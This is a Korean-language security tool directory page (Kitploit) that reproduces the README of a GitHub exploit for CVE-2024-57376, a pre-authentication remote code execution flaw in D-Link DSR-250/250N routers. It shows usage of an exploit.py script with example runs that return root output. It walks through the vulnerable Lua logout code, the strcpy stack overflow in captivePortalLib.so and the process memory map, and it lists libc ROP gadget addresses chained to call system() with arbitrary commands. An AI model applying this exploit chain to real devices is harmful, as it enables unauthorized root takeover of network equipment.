Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/delspon/cve-2024-57376
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access ToolBinary Exploitation
GitHubdelspon/cve-2024-57376

CVE-2024-57376

CVE-2024-57376 익스플로잇

저장소 보기
1121년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-57376

D-Link DSR-250 및 DSR-250N에 대한 인증 전 원격 코드 실행 익스플로잇

보안 권고: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415

사용법

root@kitploit:~
$ python3 exploit.py   
usage: <host> <port> <command>

예제

root@kitploit:~
$ python3 exploit.py 192.168.1.1 443 id
[+] fingerprint
    device: DSR-250N
    year  : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 24\r\nDate: Thu, 22 Dec 2022 11:50:49 GMT\r\nServer: Light Weight Web Server\r\n\r\nuid=0(root) gid=0(root)\n'
HTTP/1.1 200 OK
Content-Length: 24
Date: Thu, 22 Dec 2022 11:50:49 GMT
Server: Light Weight Web Server

uid=0(root) gid=0(root)
root@kitploit:~
$ python3 exploit.py 192.168.1.1 443 'cat /pfrm2.0/etc/dlink_version'
[+] fingerprint
    device: DSR-250N
    year  : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 12\r\nDate: Thu, 22 Dec 2022 11:57:35 GMT\r\nServer: Light Weight Web Server\r\n\r\n3.17B901C_WW'
HTTP/1.1 200 OK
Content-Length: 12
Date: Thu, 22 Dec 2022 11:57:35 GMT
Server: Light Weight Web Server

3.17B901C_WW
도구 다운로드

취약점

스택 버퍼 오버플로우

로그아웃을 위해 호출되는 duaCP.logout 함수 코드입니다.

root@kitploit:~
function duaCP.logout (cgiparams)
    local extCpResult, clientMac, clientIp, authenticatorIp, apMac, apIp, vendor, 
           ssid, deviceType, vlan, pageId, returnUrl, authSuccessUrl, 
           returnLogoutUrl, notifyUrl, sessionRandom, hash, token

    local request = ""

    extCpResult       = cgiparams.externalCpResult
    clientMac         = cgiparams.clientMac
    clientIp          = cgiparams.clientIp
    authenticatorIp   = cgiparams.authenticatorIp
    apMac             = cgiparams.apMac
    apIp              = cgiparams.apIp
    vendor            = cgiparams.vendor
    ssid              = cgiparams.ssid
    deviceType        = cgiparams.deviceType
    vlan              = cgiparams.vlan
    pageId            = cgiparams.pageIndex
    returnUrl         = cgiparams.returnUrl
    authSuccessUrl    = cgiparams.authenticationSuccessUrl
    returnLogoutUrl   = cgiparams.returnLogoutUrl
    notifyUrl         = cgiparams.notifyUrl
    sessionRandom     = cgiparams.sessionRandom
    hash              = cgiparams.hash
    token             = db.getAttribute("cpExtWebServer", "_ROWID_", "1", "token")

  
    local status, reason

  reason = "success"
    -- validate hash first
    if (hashValidate (authenticatorIp, clientMac, token, sessionRandom, hash) == "ERROR") then
        -- respond to DUA with failure result so that user will be shown login
        -- page
        reason = "failure"
    end
    
    status, clientMac, clientIp = duaCP.parse_logoutInfo (extCpResult)
    
    if (status == "ERROR") then
        reason = "failure"
    end
    
    -- redirect to DUA
    duaCP.logoutProcess (cgiparams, reason, token)
  
end

다음을 호출합니다:

  1. hashValidate
  2. duaCP.parse_logoutInfo
  3. duaCP.logoutProcess

취약한 코드로 이어지는 경로는 duaCP.parse_logoutInfo입니다. 사용자 입력인 extCpResult를 매개변수로 사용합니다.

다음은 duaCP.parse_logoutInfo 코드입니다.

root@kitploit:~
function duaCP.parse_logoutInfo (extCpResult)
    local status       = "OK"

  -- process the extCpResult
  status, clientMac, clientIp = captivePortalLib.duaLogoutInfoGet (extCpResult)

  if (status == "1" or tonumber (status) == 1) then
      return "ERROR"
  end

  clientMac = clientMac:gsub("%-", "%:")
    
    return status, clientMac, clientIp

end

captivePortalLib.duaLogoutInfoGet을 호출합니다. extCpResult를 직접 매개변수로 사용합니다. 이 코드는 공유 라이브러리 captivePortalLib.so에 정의되어 있습니다.

lua_tolstring은 extCpResult의 문자열 포인터를 반환하고, 지역 변수를 매개변수로 가지는 strcpy가 호출됩니다. 이는 명백한 스택 버퍼 오버플로우입니다. 이제 ROP 가젯을 연결해야 합니다.

strcpy에 의해 취약점이 트리거되기 때문에 몇 가지 제한이 있습니다. NULL 바이트를 입력할 수 없습니다.

메모리 맵은 다음과 같습니다:

root@kitploit:~
00008000-0000a000 r-xp 00000000 1f:03 3106       /pfrm2.0/bin/cgi
00011000-00012000 rwxp 00001000 1f:03 3106       /pfrm2.0/bin/cgi
00012000-001ff000 rwxp 00000000 00:00 0          [heap]
40000000-40020000 r-xp 00000000 00:01 1963       /lib/ld-2.8.so
40020000-40027000 rwxp 00000000 00:00 0 
40027000-40028000 r-xp 0001f000 00:01 1963       /lib/ld-2.8.so
40028000-40029000 rwxp 00020000 00:01 1963       /lib/ld-2.8.so
40029000-4002a000 rwxp 00000000 00:00 0 
4002c000-400cf000 r-xp 00000000 00:01 1971       /lib/libm-2.8.so
400cf000-400d6000 ---p 000a3000 00:01 1971       /lib/libm-2.8.so
400d6000-400d7000 r-xp 000a2000 00:01 1971       /lib/libm-2.8.so
400d7000-400d8000 rwxp 000a3000 00:01 1971       /lib/libm-2.8.so
400d8000-400dc000 r-xp 00000000 00:01 1969       /lib/libdl-2.8.so
400dc000-400e3000 ---p 00004000 00:01 1969       /lib/libdl-2.8.so
400e3000-400e4000 r-xp 00003000 00:01 1969       /lib/libdl-2.8.so
400e4000-400e5000 rwxp 00004000 00:01 1969       /lib/libdl-2.8.so
400e8000-4010c000 r-xp 00000000 1f:03 2092       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-lua.so
4010c000-40113000 ---p 00024000 1f:03 2092       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-lua.so
40113000-40114000 rwxp 00023000 1f:03 2092       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-lua.so
40114000-40117000 r-xp 00000000 1f:03 1975       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-umi.so
40117000-4011e000 ---p 00003000 1f:03 1975       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-umi.so
4011e000-4011f000 rwxp 00002000 1f:03 1975       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-umi.so
40120000-4012c000 r-xp 00000000 1f:03 2064       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-adaptos.so
4012c000-40133000 ---p 0000c000 1f:03 2064       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-adaptos.so
40133000-40134000 rwxp 0000b000 1f:03 2064       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-adaptos.so
40134000-40135000 rwxp 00000000 00:00 0 
40138000-4013e000 r-xp 00000000 00:01 1983       /lib/librt-2.8.so
4013e000-40145000 ---p 00006000 00:01 1983       /lib/librt-2.8.so
40145000-40146000 r-xp 00005000 00:01 1983       /lib/librt-2.8.so
40146000-40147000 rwxp 00006000 00:01 1983       /lib/librt-2.8.so
40148000-4015d000 r-xp 00000000 00:01 1981       /lib/libpthread-2.8.so
4015d000-40164000 ---p 00015000 00:01 1981       /lib/libpthread-2.8.so
40164000-40165000 r-xp 00014000 00:01 1981       /lib/libpthread-2.8.so
40165000-40166000 rwxp 00015000 00:01 1981       /lib/libpthread-2.8.so
40166000-40168000 rwxp 00000000 00:00 0 
40168000-40174000 r-xp 00000000 00:01 1970       /lib/libgcc_s.so.1
40174000-4017b000 ---p 0000c000 00:01 1970       /lib/libgcc_s.so.1
4017b000-4017c000 rwxp 0000b000 00:01 1970       /lib/libgcc_s.so.1
4017c000-402b4000 r-xp 00000000 00:01 1966       /lib/libc-2.8.so
402b4000-402b6000 r-xp 00138000 00:01 1966       /lib/libc-2.8.so
402b6000-402b7000 rwxp 0013a000 00:01 1966       /lib/libc-2.8.so
402b7000-402ba000 rwxp 00000000 00:00 0 
402bc000-402bf000 r-xp 00000000 1f:03 1946       /pfrm2.0/lib/lua/5.1/lfs.so.1.2.1
402bf000-402c6000 ---p 00003000 1f:03 1946       /pfrm2.0/lib/lua/5.1/lfs.so.1.2.1
402c6000-402c7000 rwxp 00002000 1f:03 1946       /pfrm2.0/lib/lua/5.1/lfs.so.1.2.1
402c8000-402cc000 r-xp 00000000 1f:03 1948       /pfrm2.0/lib/lua/5.1/luasql/sqlite3.so
402cc000-402d3000 ---p 00004000 1f:03 1948       /pfrm2.0/lib/lua/5.1/luasql/sqlite3.so
402d3000-402d4000 rwxp 00003000 1f:03 1948       /pfrm2.0/lib/lua/5.1/luasql/sqlite3.so
402d4000-40357000 r-xp 00000000 1f:03 1974       /pfrm2.0/lib/libsqlite3.so.0.8.6
40357000-4035e000 ---p 00083000 1f:03 1974       /pfrm2.0/lib/libsqlite3.so.0.8.6
4035e000-40360000 rwxp 00082000 1f:03 1974       /pfrm2.0/lib/libsqlite3.so.0.8.6
40360000-40362000 r-xp 00000000 1f:03 1934       /pfrm2.0/lib/lua/5.1/loginLib.so
40362000-40369000 ---p 00002000 1f:03 1934       /pfrm2.0/lib/lua/5.1/loginLib.so
40369000-4036a000 rwxp 00001000 1f:03 1934       /pfrm2.0/lib/lua/5.1/loginLib.so
4036c000-4053c000 r-xp 00000000 1f:03 2137       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-klite.so
4053c000-4055a000 rwxp 001d0000 1f:03 2137       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-klite.so
4055a000-4055d000 rwxp 00000000 00:00 0 
40560000-405b0000 r-xp 00000000 1f:03 2089       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-sslim.so
405b0000-405b6000 rwxp 00050000 1f:03 2089       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-sslim.so
405b8000-405b9000 r-xp 00000000 1f:03 1935       /pfrm2.0/lib/lua/5.1/loginLuaLib.so
405b9000-405c1000 ---p 00001000 1f:03 1935       /pfrm2.0/lib/lua/5.1/loginLuaLib.so
405c1000-405c2000 rwxp 00001000 1f:03 1935       /pfrm2.0/lib/lua/5.1/loginLuaLib.so
405c4000-405c5000 r-xp 00000000 1f:03 1968       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-logging.so
405c5000-405cc000 ---p 00001000 1f:03 1968       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-logging.so
405cc000-405cd000 rwxp 00000000 1f:03 1968       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-logging.so
405d0000-405d2000 r-xp 00000000 1f:03 1945       /pfrm2.0/lib/lua/5.1/timeLib.so
405d2000-405d9000 ---p 00002000 1f:03 1945       /pfrm2.0/lib/lua/5.1/timeLib.so
405d9000-405da000 rwxp 00001000 1f:03 1945       /pfrm2.0/lib/lua/5.1/timeLib.so
405dc000-405de000 r-xp 00000000 1f:03 2125       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-time.so
405de000-405e5000 ---p 00002000 1f:03 2125       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-time.so
405e5000-405e6000 rwxp 00001000 1f:03 2125       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-time.so
405e8000-405eb000 r-xp 00000000 1f:03 1929       /pfrm2.0/lib/lua/5.1/kliteLib.so
405eb000-405f2000 ---p 00003000 1f:03 1929       /pfrm2.0/lib/lua/5.1/kliteLib.so
405f2000-405f3000 rwxp 00002000 1f:03 1929       /pfrm2.0/lib/lua/5.1/kliteLib.so
405f4000-405f8000 r-xp 00000000 1f:03 1947       /pfrm2.0/lib/lua/5.1/captivePortalLib.so
405f8000-405ff000 ---p 00004000 1f:03 1947       /pfrm2.0/lib/lua/5.1/captivePortalLib.so
405ff000-40600000 rwxp 00003000 1f:03 1947       /pfrm2.0/lib/lua/5.1/captivePortalLib.so
40600000-40616000 r-xp 00000000 1f:03 2133       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-radius.so
40616000-4061e000 ---p 00016000 1f:03 2133       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-radius.so
4061e000-4061f000 rwxp 00016000 1f:03 2133       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-radius.so
40620000-40645000 r-xp 00000000 1f:03 1920       /pfrm2.0/lib/auth/libldap-2.3.so.0.2.26
40645000-4064d000 ---p 00025000 1f:03 1920       /pfrm2.0/lib/auth/libldap-2.3.so.0.2.26
4064d000-4064e000 rwxp 00025000 1f:03 1920       /pfrm2.0/lib/auth/libldap-2.3.so.0.2.26
40650000-40658000 r-xp 00000000 1f:03 1916       /pfrm2.0/lib/auth/liblber-2.3.so.0.2.26
40658000-4065f000 ---p 00008000 1f:03 1916       /pfrm2.0/lib/auth/liblber-2.3.so.0.2.26
4065f000-40660000 rwxp 00007000 1f:03 1916       /pfrm2.0/lib/auth/liblber-2.3.so.0.2.26
40660000-40701000 r-xp 00000000 1f:03 2122       /pfrm2.0/lib/libkrb5.so.3.3
40701000-40709000 ---p 000a1000 1f:03 2122       /pfrm2.0/lib/libkrb5.so.3.3
40709000-4070e000 rwxp 000a1000 1f:03 2122       /pfrm2.0/lib/libkrb5.so.3.3
40710000-4073b000 r-xp 00000000 1f:03 1870       /pfrm2.0/lib/libk5crypto.so.3.1
4073b000-40743000 ---p 0002b000 1f:03 1870       /pfrm2.0/lib/libk5crypto.so.3.1
40743000-40744000 rwxp 0002b000 1f:03 1870       /pfrm2.0/lib/libk5crypto.so.3.1
40744000-40745000 rwxp 00000000 00:00 0 
40748000-4074a000 r-xp 00000000 1f:03 2065       /pfrm2.0/lib/libcom_err.so.3.0
4074a000-40751000 ---p 00002000 1f:03 2065       /pfrm2.0/lib/libcom_err.so.3.0
40751000-40752000 rwxp 00001000 1f:03 2065       /pfrm2.0/lib/libcom_err.so.3.0
40754000-4075a000 r-xp 00000000 1f:03 1874       /pfrm2.0/lib/libkrb5support.so.0.1
4075a000-40762000 ---p 00006000 1f:03 1874       /pfrm2.0/lib/libkrb5support.so.0.1
40762000-40763000 rwxp 00006000 1f:03 1874       /pfrm2.0/lib/libkrb5support.so.0.1
40764000-40768000 r-xp 00000000 1f:03 1897       /pfrm2.0/lib/libspopc-0.10n.so
40768000-4076f000 ---p 00004000 1f:03 1897       /pfrm2.0/lib/libspopc-0.10n.so
4076f000-40770000 rwxp 00003000 1f:03 1897       /pfrm2.0/lib/libspopc-0.10n.so
40770000-4077a000 r-xp 00000000 1f:03 2121       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-x509.so
4077a000-40781000 ---p 0000a000 1f:03 2121       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-x509.so
40781000-40782000 rwxp 00009000 1f:03 2121       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-x509.so
40784000-40788000 r-xp 00000000 1f:03 1910       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-auth.so
40788000-4078f000 ---p 00004000 1f:03 1910       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-auth.so
4078f000-40790000 rwxp 00003000 1f:03 1910       /pfrm2.0/lib/libarmarm-none-linux-gnueabi-auth.so
40790000-407a1000 r-xp 00000000 00:01 1982       /lib/libresolv-2.8.so
407a1000-407a9000 ---p 00011000 00:01 1982       /lib/libresolv-2.8.so
407a9000-407aa000 r-xp 00011000 00:01 1982       /lib/libresolv-2.8.so
407aa000-407ab000 rwxp 00012000 00:01 1982       /lib/libresolv-2.8.so
407ab000-407ad000 rwxp 00000000 00:00 0 
407b0000-407b4000 r-xp 00000000 1f:03 1942       /pfrm2.0/lib/lua/5.1/validationsLuaLib.so
407b4000-407bb000 ---p 00004000 1f:03 1942       /pfrm2.0/lib/lua/5.1/validationsLuaLib.so
407bb000-407bc000 rwxp 00003000 1f:03 1942       /pfrm2.0/lib/lua/5.1/validationsLuaLib.so
407bc000-407bf000 r-xp 00000000 1f:03 1950       /pfrm2.0/lib/lua/5.1/x509Lib.so
407bf000-407c7000 ---p 00003000 1f:03 1950       /pfrm2.0/lib/lua/5.1/x509Lib.so
407c7000-407c8000 rwxp 00003000 1f:03 1950       /pfrm2.0/lib/lua/5.1/x509Lib.so
407c8000-407ca000 r-xp 00000000 1f:03 1953       /pfrm2.0/lib/lua/5.1/externalAuthLib.so
407ca000-407d1000 ---p 00002000 1f:03 1953       /pfrm2.0/lib/lua/5.1/externalAuthLib.so
407d1000-407d2000 rwxp 00001000 1f:03 1953       /pfrm2.0/lib/lua/5.1/externalAuthLib.so
beadb000-beaf0000 rw-p 00000000 00:00 0          [stack]

코드 주소와 힙 주소를 사용하는 것은 불가능합니다. 따라서 공유 라이브러리 주소를 사용해야 합니다.

몇 가지 조사 끝에 libc에서 유용한 가젯을 찾았습니다.

root@kitploit:~
0x00116734 : pop {r0, r1, r2, r3, pc};
0x000ff0e8 : mov r0, sp ; blx r3

이제 r0에 입력을 넣고 r3로 임의 코드를 호출할 수 있습니다. r3에 system 함수의 주소를 넣으면 system(r0)이 실행됩니다. 이제 임의 명령어를 실행할 수 있습니다.